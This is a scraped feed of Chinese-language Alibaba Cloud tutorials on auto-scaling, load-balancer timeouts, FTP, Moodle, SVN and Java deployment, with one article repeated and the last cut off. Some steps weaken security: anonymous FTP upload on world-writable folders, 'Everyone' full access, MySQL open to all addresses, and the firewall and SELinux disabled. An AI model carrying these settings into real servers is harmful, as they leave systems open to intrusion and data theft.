  4. 返回 弹性伸缩管理控制台 主菜单,选择 自动触发任务管理 > 报警任务,单击 创建报警任务统计办法 选择 ≤ 或者 < 某个阈值来删除之前通过弹性伸缩创建的且目前不再需要的实例。

    阿里云使用小妙招

    阿里云使用小妙招




如果您还有问题,请随时联系米姆,我们将免费为您提供阿里云基础服务。

]]>
为什么负载均衡的 7 层 HTTP 监听超时超过 60 秒-阿里云-上云就上阿里云 Mon, 27 May 2019 21:06:17 +0800 为什么负载均衡的 7 层 HTTP 监听超时超过 60 秒-阿里云-上云就上阿里云



问题现象

负载均衡响应 HTTP 转发请求时,单次 HTTP 监听的超时时间大约为 60 秒。

然而,当负载均衡实例上配置了多台 ECS 实例时,ECS 实例配置的超时时间都大于60 秒,或者直接返回 504 错误。

问题原因

负载均衡的 HTTP 监听超时时间是保证请求在允许的时间内能返回的最后一条防线。

负载均衡响应 HTTP 转发请求时时,如果负载均衡实例上配置了多台 ECS 实例,若第一台 ECS 实例访问超时,则自动轮询第二台 ECS 实例,若第二台 ECS 实例仍超时,则轮询第三台 ECS 实例,直到所有的 ECS 实例轮询完毕。假设一台负载均衡实例上配置了 3 台 ECS 实例,那么实际发生的 HTTP 请求超时时间会变成大约 180 秒。

说明 然而,我们不排除其他服务会限制负载均衡超时时间设置。建议您避免依赖负载均衡监听超时设置,而是直接在 ECS 实例部署的应用上设置监听超时时间。

为什么负载均衡的 7 层 HTTP 监听超时超过 60 秒-阿里云-上云就上阿里云



问题现象

负载均衡响应 HTTP 转发请求时,单次 HTTP 监听的超时时间大约为 60 秒。

然而,当负载均衡实例上配置了多台 ECS 实例时,ECS 实例配置的超时时间都大于60 秒,或者直接返回 504 错误。

问题原因

负载均衡的 HTTP 监听超时时间是保证请求在允许的时间内能返回的最后一条防线。

负载均衡响应 HTTP 转发请求时时,如果负载均衡实例上配置了多台 ECS 实例,若第一台 ECS 实例访问超时,则自动轮询第二台 ECS 实例,若第二台 ECS 实例仍超时,则轮询第三台 ECS 实例,直到所有的 ECS 实例轮询完毕。假设一台负载均衡实例上配置了 3 台 ECS 实例,那么实际发生的 HTTP 请求超时时间会变成大约 180 秒。

说明 然而,我们不排除其他服务会限制负载均衡超时时间设置。建议您避免依赖负载均衡监听超时设置,而是直接在 ECS 实例部署的应用上设置监听超时时间。




如果您还有问题,请随时联系米姆,我们将免费为您提供阿里云基础服务。


]]>
使用云市场镜像在弹性伸缩创建ECS实例报错问题-阿里云-上云就上阿里云 Mon, 27 May 2019 21:06:17 +0800 使用云市场镜像在弹性伸缩创建ECS实例报错问题-阿里云-上云就上阿里云



使用云市场镜像在弹性伸缩创建 ECS 实例报错问题:Fail to create Instance into scaling group.(The specified image is from the image market. You have not bought it or your quota has been exceeded.)如下图所示:
阿里云使用小妙招

这个问题是由于当前弹性伸缩服务还不能自动创建镜像市场的第三方镜像,客户需要先到 云市场 购买需要的第三方镜像,购买成功后再回到弹性伸缩服务中创建 ECS 实例即可。



如果您遇到问题,请随时联系米姆我们将免费为您提供阿里云基础服务

]]>
弹性伸缩添加数据盘的自动弹性伸缩-阿里云-上云就上阿里云 Mon, 27 May 2019 21:06:17 +0800 弹性伸缩添加数据盘的自动弹性伸缩-阿里云-上云就上阿里云



  1. 登录阿里云官网,选择 弹性伸缩控制台 > 伸缩组管理,打开相应的伸缩组,单击 伸缩配置 > 创建伸缩配置
  2. 在伸缩配置中,单击增加 数据盘,并设置数据盘的空间大小。如果需要用快照创建数据盘,可以单击 用快照创建磁盘,选择相应的快照。
    阿里云使用小妙招


如果遇到任何问题,请及时联系米姆,我们将免费为您提供阿里云基础服务

]]>
阿里云Linux 实例环境安装 PHPWind Mon, 27 May 2019 21:06:17 +0800 阿里云ECS SSH 密钥对介绍 Mon, 27 May 2019 21:06:17 +0800 阿里云使用 SSH 密钥对连接 ECS 实例 Mon, 27 May 2019 21:06:17 +0800 阿里云ECS 用户数据实践 Mon, 27 May 2019 21:06:17 +0800 阿里云ECS 用户数据实践]]> 阿里云ECS导入镜像实践 Mon, 27 May 2019 21:06:17 +0800 阿里云ECS 自定义镜像操作实践 Mon, 27 May 2019 21:06:17 +0800 阿里云挂载共享块存储到多个 ECS 实例 Mon, 27 May 2019 21:06:17 +0800 阿里云Windows ECS 实例挂载数据盘-阿里云-上云就上阿里云 Mon, 27 May 2019 21:06:17 +0800 云吞铺子之三分钟教您做网站-阿里云-上云就上阿里云 Mon, 27 May 2019 21:06:17 +0800 云吞铺子之Windows系统的排查思路-阿里云-上云就上阿里云 Mon, 27 May 2019 21:06:17 +0800

云吞铺子之Windows系统的排查思路-阿里云-上云就上阿里云



此次的云吞铺子视频更不简单了,我们依然请来了阿里云的技术高手江冉同学。江冉同学结合案例逐一分析如何排查 Windows 实例故障,通过用户沟通、问题定位以及日志分析几个步骤深度剖析排查思路。

]]>
云吞铺子之如何衡量Windows实例的磁盘性能-阿里云-上云就上阿里云 Mon, 27 May 2019 21:06:17 +0800

云吞铺子之如何衡量Windows实例的磁盘性能-阿里云-上云就上阿里云



此次的云吞铺子视频不简单了,我们请来了阿里云的技术高手江冉同学,特地给小伙伴们讲讲如何衡量 Windows 实例的磁盘性能。

]]>
云吞铺子之如何配置安全组-阿里云-上云就上阿里云 Mon, 27 May 2019 21:06:17 +0800 云吞铺子之如何配置安全组-阿里云-上云就上阿里云



安全组是一种虚拟防火墙,控制云服务器 ECS 的出站和入站流量。

此次的云吞铺子视频将带您了解如何配置安全组。

]]>
阿里云小助手系列之如何使用迁云工具-阿里云-上云就上阿里云 Mon, 27 May 2019 21:06:17 +0800

小助手系列之如何使用迁云工具-阿里云-上云就上阿里云



本次视频介绍如何使用 迁云工具 将您的业务转移到阿里云。借助阿里云的云计算实力,您可以轻松应对业务增长所需要考虑的基础建设。

请跟随小助手,一起去看看如何使用迁云工具吧。


]]>
阿里云小助手系列之如何远程连接 Windows 实例-阿里云-上云就上阿里云 Mon, 27 May 2019 21:06:17 +0800

小助手系列之如何远程连接 Windows 实例-阿里云-上云就上阿里云

本次视频介绍如何远程连接并登录 Windows 实例。远程连接登录 Windows 实例的方式多种多样,比如通过:

  • 管理终端(排查故障的万能工具)
  • 用户名和密码(使用率最高的登录方式)
  • 还有轻巧灵便的手机客户端

请跟着小助手,一起去看看如何在 Windows 系统自带的远程桌面工具(MSTSC)里使用用户名和密码远程连接 Windows 实例吧!

]]>
阿里云小助手系列之如何远程连接 Linux 实例-阿里云-上云就上阿里云 Mon, 27 May 2019 21:06:17 +0800 小助手系列之如何远程连接 Linux 实例-阿里云-上云就上阿里云

本视频介绍如何远程连接并登录 Linux 实例。远程连接登录 Linux 实例的方式多种多样,比如通过:

  • 管理终端(排查故障的万能工具)
  • 用户名和密码(使用率最高的登录方式)
  • SSH 密钥对验证(黑客最难攻破的登录方式)
  • 还有轻巧灵便的手机客户端

请跟随视频小助手,一起去看看如何在 PuTTY 里使用用户名和密码远程连接 Linux 实例吧!

]]>
阿里云小助手系列之如何使用安全组-阿里云-上云就上阿里云 Mon, 27 May 2019 21:06:17 +0800 小助手系列之如何使用安全组-阿里云-上云就上阿里云 ]]> ECS 经典网络与专有网络 VPC 特点介绍-阿里云-上云就上阿里云 Mon, 27 May 2019 21:06:17 +0800

ECS 经典网络与专有网络 VPC 特点介绍-阿里云-上云就上阿里云



]]>
小筋斗 平步青云篇-阿里云-上云就上阿里云 Mon, 27 May 2019 21:06:17 +0800 小筋斗 平步青云篇-阿里云-上云就上阿里云 ]]> 小筋斗 成功上云篇-阿里云 Mon, 27 May 2019 21:06:17 +0800 Linux实例搭建FTP站点-阿里云ECS Mon, 27 May 2019 21:06:17 +0800 Linux实例搭建FTP站点-阿里云ECS



vsftpd 是 Linux 下的一款小巧轻快、安全易用的 FTP 服务器软件,是一款在各个 Linux 发行版中最受推崇的 FTP 服务器软件。本文以 CentOS 7.2 64位操作系统为例,说明如何在 Linux 实例上安装 vsftpd。

Linux 实例搭建 FTP 站点具体操作步骤如下:

  • 步骤一: 安装 vsftpd
  • 步骤二: 配置 vsftpd
  • 步骤三: 设置安全组
  • 步骤四: 客户端测试

步骤一: 安装 vsftpd

  1. 远程连接 并登录到 Linux 实例。
  2. 运行以下命令安装 vsftpd。
    yum install -y vsftpd

    阿里云使用小妙招

    出现下图表示安装成功。


    阿里云使用小妙招
  3. 运行以下命令打开及查看 etc/vsftpd
    cd /etc/vsftpd ls

    阿里云使用小妙招
    说明
    • /etc/vsftpd/vsftpd.conf 是核心配置文件。
    • /etc/vsftpd/ftpusers 是黑名单文件,此文件里的用户不允许访问 FTP 服务器。
    • /etc/vsftpd/user_list 是白名单文件,是允许访问 FTP 服务器的用户列表。
  4. 运行以下命令设置开机自启动。
    systemctl enable vsftpd.service
  5. 运行以下命令启动 FTP 服务。
    systemctl start vsftpd.service
  6. 运行以下命令查看 FTP 服务端口。
    netstat -antup | grep ftp

    阿里云使用小妙招

步骤二: 配置 vsftpd

vsftpd 安装后默认开启了匿名 FTP 的功能,使用匿名 FTP,用户无需输入用户名密码即可登录 FTP 服务器,但没有权限修改或上传文件。

文本介绍了以下几个配置 vsftpd 的方法以及相关的参数说明,您可以根据具体需要进行参考。

  • 配置匿名用户上传文件权限
  • 配置本地用户登录
  • vsftpd.conf 的配置文件参数说明
配置匿名用户上传文件权限

修改 vsftpd.conf 的配置文件的选项,可以赋予匿名 FTP 更多的权限。

  1. 修改 /etc/vsftpd/vsftpd.conf
    1. 运行 vim /etc/vsftpd/vsftpd.conf
    2. i 键进入编辑模式。
    3. 将写权限修改为 write_enable=YES
    4. 将匿名上传权限修改为 anon_upload_enable=YES
    5. Esc 键退出编辑模式,然后输入 :wq 保存并退出文件。
      阿里云使用小妙招
  2. 运行以下命令更改 /var/ftp/pub 目录的权限,为 FTP 用户添加写权限,并重新加载配置文件。
    chmod o+w /var/ftp/pub/ systemctl restart vsftpd.service

    阿里云使用小妙招
配置本地用户登录

本地用户登录就是指用户使用 Linux 操作系统中的用户账号和密码登录 FTP 服务器。

vsftpd 安装后默只支持匿名 FTP 登录,用户如果试图使用 Linux 操作系统中的账号登录服务器,将会被 vsftpd 拒绝,但可以在 vsftpd 里配置用户账号和密码登录。具体步骤如下:

  1. 运行以下命令创建 ftptest 用户。
    useradd ftptest
  2. 运行以下命令修改 ftptest 用户密码。
    passwd ftptest

    阿里云使用小妙招
  3. 修改 /etc/vsftpd/vsftpd.conf
    1. 运行 vim /etc/vsftpd/vsftpd.conf
    2. 按键 i 进入编辑模式。
    3. 将是否允许匿名登录 FTP 的参数修改为 anonymous enable=NO
    4. 将是否允许本地用户登录 FTP 的参数修改为 local_enable=YES
    5. 按键 Esc 退出编辑模式,然后按键 :wq 保存并退出文件。
      阿里云使用小妙招
  4. 运行以下命令重新加载配置文件。
    systemctl restart vsftpd.service
vsftpd.conf 的配置文件参数说明

运行命令 cat /etc/vsftpd/vsftpd.conf 查看配置文件内容。

用户登录控制:


参数 说明
anonymous_enable=YES 接受匿名用户
no_anon_password=YES 匿名用户login时不询问口令
anon_root=(none) 匿名用户主目录
local_enable=YES 接受本地用户
local_root=(none) 本地用户主目录

用户权限控制:


参数 说明
write_enable=YES 可以上传(全局控制)
local_umask=022 本地用户上传文件的umask
file_open_mode=0666 上传文件的权限配合umask使用
anon_upload_enable=NO 匿名用户可以上传
anon_mkdir_write_enable=NO 匿名用户可以建目录
anon_other_write_enable=NO 匿名用户修改删除
chown_username=lightwiter 匿名上传文件所属用户名

步骤三: 设置安全组

搭建好 FTP 站点后,您需要在实例的安全组的入方向添加一条放行 FTP 端口的规则,具体步骤参见 添加安全组规则。

步骤四: 客户端测试

打开客户端的 计算机,在路径栏输入 ftp://服务器 IP 地址:FTP 端口(如果不填端口则默认访问21端口),例如:ftp://0.0.0.0:20。弹出输入用户名和密码的对话框表示配置成功,正确的输入用户名和密码后,即可对 FTP 文件进行相应权限的操作。

说明 客户端使用此方法访问 FTP 站点时,需要对 IE 浏览器进行设置,才能打开 FTP 的文件夹。 打开 IE 浏览器,选择 设置 > Internet 选项 > 高级。勾选 启用 FTP 文件夹视图,取消勾选 使用被动 FTP

阿里云使用小妙招

后续操作

您可以参考 安全加固方案 对 FTP 服务进行安全加固。


如果您遇到问题,请随时联系米姆,我们将免费为您提供阿里云基础服务

]]>
Windows实例搭建FTP站点-阿里云ECS Mon, 27 May 2019 21:06:17 +0800 Windows实例搭建FTP站点-阿里云ECS



本文介绍了如何使用 Windows 实例搭建 FTP 站点。此方法适用于 Windows Server 2008 及以上系统,本文以 Windows Server 2008 R2 为例。

Windows 实例搭建 FTP 站点具体操作步骤如下:

  • 步骤一: 添加 IIS 以及 FTP 服务角色
  • 步骤二: 创建 FTP 用户名及密码
  • 步骤三: 设置共享文件的权限
  • 步骤四: 添加及设置 FTP 站点
  • 步骤五: 设置安全组及防火墙
  • 步骤六: 客户端测试

步骤一: 添加 IIS 以及 FTP 服务角色

在创建 FTP 站点前,首先需要安装 IIS 及 FTP 服务。

  1. 远程连接 并登录到 Windows 实例。
  2. 选择 开始 > 所有程序 > 管理工具 > 服务管理器
  3. 单击 角色,然后单击 添加角色
    阿里云使用小妙招
  4. 在弹出的对话框中,选择 下一步
  5. 选择 Web 服务器(IIS),然后单击 下一步
    阿里云使用小妙招
  6. 选择 IIS管理控制台 以及 FTP 服务器,选择 下一步,单击 安装
    阿里云使用小妙招

步骤二: 创建 FTP 用户名及密码

创建 Windows 用户名和密码,用于 FTP 使用。如果您希望匿名用户可以访问,此步可省略。

  1. 选择 开始 > 管理工具 > 服务器管理器
  2. 单击 配置 > 本地用户和组 > 用户,并在右侧空白处单击右键,再选择 添加用户,本文例子中 用户名 使用 ftptest。
    说明 密码必须包括大写字母、小写字母和数字。否则会显示无法通过密码策略。

    阿里云使用小妙招

步骤三: 设置共享文件的权限

您需要为在 FTP 站点共享给用户的文件夹设置访问以及修改等权限。

  1. 在服务器磁盘上创建一个供 FTP 使用的文件夹,右键单击文件夹,选择 属性
  2. 单击 安全,选择 Everyone,然后选择 编辑
    阿里云使用小妙招
  3. 选择 Everyone,然后根据需要,选择 Everyone 的权限,本文例子中允许所有权限。
    阿里云使用小妙招

步骤四: 添加及设置 FTP 站点

安装 FTP,设置好共享文件夹权限后,您需要创建 FTP 站点。

  1. 选择 开始 > 所有程序 > 管理工具 > Internet 信息服务(IIS)管理器
  2. 右键单击 网站,选择 添加 FTP 站点
    阿里云使用小妙招
  3. 在弹出的窗口,填写 FTP 站点名称与共享文件夹的物理路径,然后单击 下一步
  4. IP 地址默认选择 全部未分配。端口号可自行设置,FTP 默认端口号为 21。
  5. 选择 SSL 设置。
    • 允许:允许 FTP 服务器支持与客户端的非 SSL 和 SSL 连接。
    • 需要:需要对 FTP 服务器和客户端之间的通信进行 SSL 加密。
    • : 不需要 SSL 加密选择

    阿里云使用小妙招
  6. 选择要使用的一种或多种身份验证方法。
    • 匿名:允许任何仅提供用户名 anonymousftp 的用户访问内容。
    • 基本:需要用户提供有效用户名和密码才能访问内容。由于基本身份验证通过网络传输未加密的密码,因此请仅在清楚客户端和 FTP 服务器之间的连接是安全的情况下(例如,使用安全套接字层 (SSL) 时)使用此身份验证方法。
  7. 允许访问 列表中,选择以下选项之一:
    • 所有用户:所有用户(不论是匿名用户还是已标识的用户)均可访问相应内容。
    • 匿名用户:匿名用户可访问相应内容。
    • 指定角色或用户组:仅特定角色或用户组的成员才能访问相应内容。请在对应的框中键入角色或用户组。
    • 指定用户:仅指定用户才能访问相应内容。请在对应的框中键入用户名。
  8. 选择经过授权的用户的 读取写入 权限。然后单击 完成
    阿里云使用小妙招

完成后可以看到搭建的 FTP 站点。


阿里云使用小妙招

步骤五: 设置安全组及防火墙

搭建好 FTP 站点后,您需要在实例安全组的入方向添加一条放行 FTP 端口的规则,具体步骤参见 添加安全组规则,具体配置可以参见 安全组规则的典型应用。

服务器防火墙默认放行 TCP 21 端口用于 FTP 服务。如果选用其他端口,您需要在防火墙中添加一条放行此端口的入站规则。

具体方法参见 设置 ECS 实例远程连接防火墙。

其他防火墙设置参见 微软官方文档。

步骤六: 客户端测试

打开客户端的 计算机,在路径栏输入 ftp://服务器 IP 地址:FTP 端口(如果不填端口则默认访问21端口),例如:ftp://0.0.0.0:20。弹出输入用户名和密码的对话框表示配置成功,正确的输入用户名和密码后,即可对 FTP 文件进行相应权限的操作。

说明 客户端使用此方法访问 FTP 站点时,需要对 IE 浏览器进行设置,才能打开 FTP 的文件夹。 打开 IE 浏览器,选择 设置 > Internet选项 > 高级。勾选 启用 FTP 文件夹视图,取消勾选 使用被动 FTP

阿里云使用小妙招

后续操作

您可以参考 安全加固方案 对 FTP 服务进行安全加固。

如果您想基于 FTP 协议来管理存储在 OSS 上的文件,安装 OSS FTP。OSS FTP 接收普通 FTP 请求后,将对文件、文件夹的操作映射为对 OSS 的操作。


如果您遇到问题,请随时联系米姆,我们将免费为您提供阿里云基础服务。

]]>
快速搭建 Moodle 课程管理系统-阿里云ECS Mon, 27 May 2019 21:06:17 +0800 快速搭建 Moodle 课程管理系统-阿里云ECS



Moodle 是一个开源课程管理系统,采用 PHP + MySQL 方式运行的自由开源软件,遵循 GNU 公共许可协议。世界各地教育工作者越来越喜欢使用 Moodle 为学生建立网上动态网站。Moodle 平台界面简单、精巧,您可以根据需要随时调整界面,增减内容。

本文档介绍如何使用云市场的 moodle 网络教学平台(Centos 7.0 64位) 快速搭建 Moodle 课程管理系统。

适用对象

适用于要搭建 Moodle 课程管理系统的用户。

操作流程

  1. 创建使用 Moodle 网络教学平台镜像的 ECS 实例。
  2. 远程连接 ECS 实例并查看权限。
  3. 安装 Moodle 课程管理系统。
  4. (可选)在服务器里绑定域名。
前提条件
  • 您已经拥有一个阿里云账号。
  • 如果您希望用户通过域名访问您的站点,您应该已经有一个已备案的域名。如果域名没有备案,您购买ECS实例后到阿里云备案中心备案。备案地址为:https://beian.aliyun.com
  • 您已经明白 远程连接 Linux 实例的方法。这里假设您本地使用的是 Windows 操作系统,并使用 PuTTy.exe 远程连接 Linux ECS 实例。这里是 PuTTY 的下载地址:https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
创建 ECS 实例
  1. 在云市场中搜索 moodle 网络教学平台(Centos 7.0 64位),并进入镜像详情页。
  2. 在镜像详情页上,单击 立即购买,按提示步骤购买 ECS 实例。需要注意以下配置:
    • 网络类型:应选择 经典网络
    • 带宽:不能为 0 Mbps。
    • 付费方式:如果您的站点需要备案,应选择 包月套餐
    • 其他配置您可以按需选择。
  3. 登录 云服务器 ECS 管理控制台
  4. 在左侧导航栏里,单击 实例,进入 ECS 列表页。
  5. 选择所购 ECS 实例所在的地域,找到所购 ECS 实例,开始管理实例。您需要做以下操作:
    • IP 地址 列获取该实例的公网 IP 地址。
    • 确认 ECS 实例所在的安全组中 已经添加了以下几个安全组规则
      • SSH 远程连接 ECS 实例:

        网卡类型 规则方向 授权策略 协议类型 端口范围 授权类型 授权对象 优先级
        公网 入方向 允许 SSH(22) 22/22 地址段访问 0.0.0.0/0 1
      • HTTP 访问 Web 服务器:

        网卡类型 规则方向 授权策略 协议类型 端口范围 授权类型 授权对象 优先级
        公网 入方向 允许 HTTP(80) 80/80 地址段访问 0.0.0.0/0 1
      • 允许使用 FTP 上传或下载文件:

        网卡类型 规则方向 授权策略 协议类型 端口范围 授权类型 授权对象 优先级
        公网 入方向 允许 自定义 TCP 20/21 地址段访问 0.0.0.0/0 1
      • 允许使用 MySQL:

        网卡类型 规则方向 授权策略 协议类型 端口范围 授权类型 授权对象 优先级
        公网 入方向 允许 自定义 TCP 3306/3306 地址段访问 0.0.0.0/0 1
    • 使用 重置实例密码 功能设置 ECS 实例的登录密码。
      阿里云使用小妙招

远程连接 ECS 实例并查看权限

  1. 远程连接到 ECS 实例
  2. 运行命令 cat default.pass 查看随机生成的数据库权限及 FTP 权限。
    阿里云使用小妙招
安装 Moodle 系统

安装 Moodle 系统需要知道以下 2 个地址:

  • 数据库的管理地址为:http://您的公网 IP 地址/phpmyadmin/
  • Moodle 的安装地址为:http://您的公网 IP 地址/install.php

按以下步骤安装 Moodle 系统:

  1. 在浏览器地址栏里,输入 Moodle 的安装地址。
  2. 选择您想要的语言,选择后单击 向后。本示例中,选择 简体中文
    阿里云使用小妙招
  3. 确认路径 页面上,保持所有默认目录不变。单击 向后
    阿里云使用小妙招
  4. 选择数据库驱动 页面上,采用默认类型。单击 向后
    阿里云使用小妙招
  5. 设置数据库。其中:
    • 数据库主机:只能填 127.0.0.1
    • 数据库名数据用户名数据库密码 采用上述步骤中查得的 MySQL 权限信息。
    • 数据库服务端口:填写 3306。

      确认所有信息后,单击 向后


      阿里云使用小妙招
  6. 阅读并确认了解版权声明。单击 继续
  7. 下图中显示的是安装 Moodle 需要的一些组件,都已经部署好了。单击 继续 就可以安装系统。
    阿里云使用小妙招
  8. 当安装页面底部出现 继续 时,说明已经完成安装。单击 继续
    阿里云使用小妙招
  9. 按要求设置 Moodle 系统的登录信息后,单击 保存更改
    阿里云使用小妙招
    阿里云使用小妙招
  10. 安装完成,自动进入管理后台首页。
    阿里云使用小妙招
绑定域名

用户可以使用公网 IP 地址访问您的站点。如果您希望用户使用域名访问您的站点,您应先将您的域名解析到公网 IP 地址。

如果需要在服务器里绑定域名,按以下步骤操作:

  1. 远程连接 Linux 实例后,输入命令 vim /etc/httpd/conf/httpd.conf 打开配置文件,找到 Servername 选项。
    阿里云使用小妙招
  2. localhost 改为 www.yourdomain.com 即可。其中,www.yourdomain.com 必须替换为您自己的域名。



如果您遇到任何问题,请随时联系米姆,我们将免费为您提供阿里云基础服务。

]]>
搭建和使用SVN-阿里云ECS Mon, 27 May 2019 21:06:17 +0800 搭建和使用SVN-阿里云ECS




Subversion(SVN) 是一个开源的版本控制系統, 也就是说 Subversion 管理着随时间改变的数据。

这些数据放置在一个中央资料档案库(repository) 中。这个档案库很像一个普通的文件服务器, 不过它会记住每一次文件的变动。这样您就可以把档案恢复到旧的版本, 或是浏览文件的变动历史。

SVN 的一些概念

  • repository(源代码库):源代码统一存放的地方
  • Checkout(提取):当您手上没有源代码时,您需要从repository checkout一份源代码
  • Commit(提交):如果您已经修改了代码,您需要Commit到repository
  • Update(更新):当您已经Checkout了一份源代码,Update一下,您就可以与Repository上的源代码同步,您手上的代码就会有最新的变更

日常开发过程其实就是这样的(假设您已经Checkout并且已经工作了几天):Update(获得最新的代码)—> 作出自己的修改并调试成功 —> Commit(大家就可以看到您的修改了)。

如果您与同事同时修改了同一个文件,SVN可以合并你们的改动,实际上SVN管理源代码是以行为单位的,就是说你们只要不是修改了同一行程序,SVN都会自动合并两种修改。如果是同一行,SVN会提示文件Confict(冲突),需要手动确认。

安装SVN

您可以采用以下任一种方法安装SVN。

使用SVN版本控制镜像

您可以在云市场购买使用 SVN版本控制镜像 的ECS实例。

创建了实例后,按以下步骤操作:

  1. 登录 ECS管理控制台
  2. 在左侧导航栏里,单击 实例
  3. 选择地域。
  4. 找到新创建的ECS实例,在 IP地址 列获取实例的公网IP地址。
手动安装SVN

本文以CentOS 7.2 64位系统为例,说明如何在CentOS 7.2上安装SVN。

  1. 远程连接Linux实例
  2. 运行以下命令安装SVN。
    yum install subversion
  3. 运行以下命令查看SVN版本。
    svnserve --version

    阿里云使用小妙招
  4. 按以下步骤创建版本库:
    1. 运行以下命令创建目录。
      mkdir /var/svn
    2. 依次运行以下命令创建版本库。
      cd /var/svn svnadmin create /var/svn/svnrepos
    3. 依次运行以下命令查看自动生成的版本库文件。
      cd svnrepos ls

      阿里云使用小妙招

      Subversion目录说明:

      • db目录:所有版本控制的数据存放文件。
      • hooks目录:放置hook脚本文件的目录。
      • locks目录:用来追踪存取文件库的客户端。
      • format文件:是一个文本文件,里面只放了一个整数,表示当前文件库配置的版本号。
      • conf目录:是这个仓库的配置文件(仓库的用户访问账号、权限等)。
    4. 运行命令 cd conf/ 进入conf目录(该SVN版本库配置文件)。返回结果如下:
      • authz:是权限控制文件。
      • passwd:是账号密码文件。
      • svnserve.conf:SVN服务配置文件。
    5. 按以下步骤设置账号密码:
      1. 运行 vi passwd
      2. i 键进入编辑模式。
      3. [users] 块中添加用户账号和密码,格式:账号=密码,比如示例中的suzhan = redhat(注意等号两端要有一个空格)。
      4. Esc 键退出编辑模式,并输入 :wq 保存并退出。
        阿里云使用小妙招
    6. 按以下步骤设置权限:
      1. 运行 vi authz
      2. i 键进入编辑模式。
      3. 在末尾添加如下代码(其中,r表示读,w表示写):
        [/] suzhan=rw
      4. Esc 键退出编辑模式,并输入 :wq 保存并退出。
        阿里云使用小妙招
    7. 按以下步骤修改svnserve.conf文件。
      1. 运行命令 vi svnserve.conf
      2. i 键进入编辑模式。
      3. 打开以下几个注释(注意每行不能以空格开始,等号两端要有一个空格):
        anon-access = read #匿名用户可读,您也可以设置 anon-access = none,不允许匿名用户访问。设置为 none,可以使日志日期正常显示 auth-access = write #授权用户可写 password-db = passwd #使用哪个文件作为账号文件 authz-db = authz #使用哪个文件作为权限文件 realm = /var/svn/svnrepos #认证空间名,版本库所在目录
      4. Esc 键退出编辑模式,并输入 :wq 保存并退出。
        阿里云使用小妙招
    8. 运行以下命令启动SVN版本库。
      svnserve -d -r /var/svn/svnrepos
    9. 运行命令 ps -ef |grep svn 查看SVN服务是否开启。

      如果返回结果如下图所示,表示SVN服务已经开启。


      阿里云使用小妙招
说明 运行以下命令停止SVN命令。
killall svnserve

添加安全组规则

SVN服务的默认端口为TCP 3690。您需要登录 ECS管理控制台添加安全组规则 放行TCP 3690端口。

在Windows上测试

这部分说明如何从本地(Windows操作系统)访问ECS实例上安装的SVN服务。

  1. 在本地机器上安装 TortoiseSVN客户端
  2. 在您的本地项目文件夹(如示例中的C:KDR),右键空白处弹出菜单,选择 SVN检出
    阿里云使用小妙招
  3. 指定资源库URL,格式为 svn://实例公网IP地址/资源库名;指定 检出至目录(如本示例中的C:KDR);再单击 确定
    阿里云使用小妙招

    如果出现以图所示信息,表示检出成功。


    阿里云使用小妙招
说明 第一次登录需要输入密码,一切以passwd文件里面的账户密码为主。

修改并提交项目

将项目下载到本地机器后,您可以在添加文件、修改文件、删除文件等。

提交修改

按以下步骤提交修改:

  1. 在项目文件空白处单击右键,选择 SVN提交
    阿里云使用小妙招
  2. 输入本次提交的版本更新信息(所作修改的注释)、勾选要提交的操作内容,单击 确定,即可把本机项目提交到SVN服务器资源库,覆盖掉资源库项目从而实现更新。
    说明
    • 如果发生提交冲突,即两人都提交修改,后提交者由于版本落后会提交失败。这时可以先备份自己的项目,从服务端下载最新的项目后,再将自己的项目覆盖到本地项目文件夹,最后SVN提交即可成功提交。
    • 假设您刚刚删掉了一个文件,这里就会显示如下截图所示信息。
      阿里云使用小妙招
获取更新

如果别人修改了SVN服务端资源库上的项目,您想下载最新的项目,则在本机项目文件空白处单击右键,选择 SVN更新,即可自动完成下载,并会提示所作的更新有哪些。

说明 在原项目文件夹内选择SVN更新,会自动覆盖原有内容。我们建议您先备份,再更新,防止自己本来的项目内容丢失。
SVN还原
  1. 打开一个文件夹,右键检出数据。
  2. 删掉数据。
  3. 根据您是否已经提交修改采取不同的操作:
    • 未提交时,右键单击空白处,选择 TortoiseSVN > SVN 还原
    • 已提交时,系统库里的数据也会得到同步,系统也会把它存的数据删掉。此时,您需要采取以下方法还原数据:
      1. 查看日志,确认删除了哪些文件。
        阿里云使用小妙招
      2. 将删掉的文件保存版本到删掉的位置。
        阿里云使用小妙招
  4. 打开原文件夹,选择 SVN提交,系统库里的数据就和这个文件同步了。




如果您遇到问题,请随时联系米姆,我们将免费为您提供阿里云基础服务。


]]>
手动部署-阿里云ECS Mon, 27 May 2019 21:06:17 +0800 手动部署-阿里云ECS



本篇文档介绍如何手动在ECS实例上部署Java web项目。适用于刚开始使用阿里云进行建站的个人用户。

项目配置

本篇教程在示例步骤中使用了以下版本的软件。操作时,请您以实际软件版本为准。

  • 操作系统:CentOS 7.4
  • Tomcat 版本:Tomcat 8.5.34
  • JDK 版本:JDK 1.8.0_191

下载源代码

  1. 下载 Apache Tomcat。
    说明 源代码版本会不断升级。您可以在https://mirrors.aliyun.com/apache/tomcat/tomcat-8/获取合适的安装包地址。
  2. 下载 JDK
    1. 下载JDK安装压缩包jdk-8u191-linux-x64 .tar.gz:
      说明 直接用 wget命令在实例中下载JDK安装压缩包,在解压缩时会出错。您可以下载JDK安装压缩包,再上传到实例上。
    2. 登录 ECS管理控制台ECS 管理控制台。
    3. 在左边导航栏中,单击 实例,进入 ECS 实例列表页。
    4. 选择所购 ECS 实例所在的地域,找到已购的 ECS 实例,在 IP 地址 列获取该实例的公网 IP 地址。
    5. 在Winscp工具里用公网 IP 地址连接Linux实例,然后将下载好的JDK安装压缩包上传到Linux实例的根目录下。

安装前准备

  1. 使用管理终端连接ECS实例。
  2. 关闭防火墙。

    输入systemctl status firewalld命令查看当前防火墙的状态。


    阿里云使用小妙招
    如果防火墙的状态参数是active,则防火墙为开启状态。如果防火墙的状态参数是inactive,则防火墙为关闭状态。如上图所示,此处防火墙为开启状态,需要运行如下命令关闭防火墙:
    • 如果您想临时关闭防火墙,输入命令systemctl stop firewalld
      说明 这只是暂时关闭防火墙,下次重启Linux后,防火墙还会开启。
    • 如果您想永久关闭防火墙,输入命令systemctl disable firewalld
      说明 您可参考firewalld官网信息来决定何时开启防火墙。
  3. 关闭SELinux。
    1. 运行getenforce命令查看当前SELinux的状态。如果显示Disabled,则SELinux为关闭状态。如果显示Enforcing,则SELinux为开启状态,运行如下命令关闭SELinux:
      • 如果您想临时关闭SELinux,输入命令setenforce 0
        说明 这只是暂时关闭SELinux,下次重启Linux后,SELinux依旧会开启。
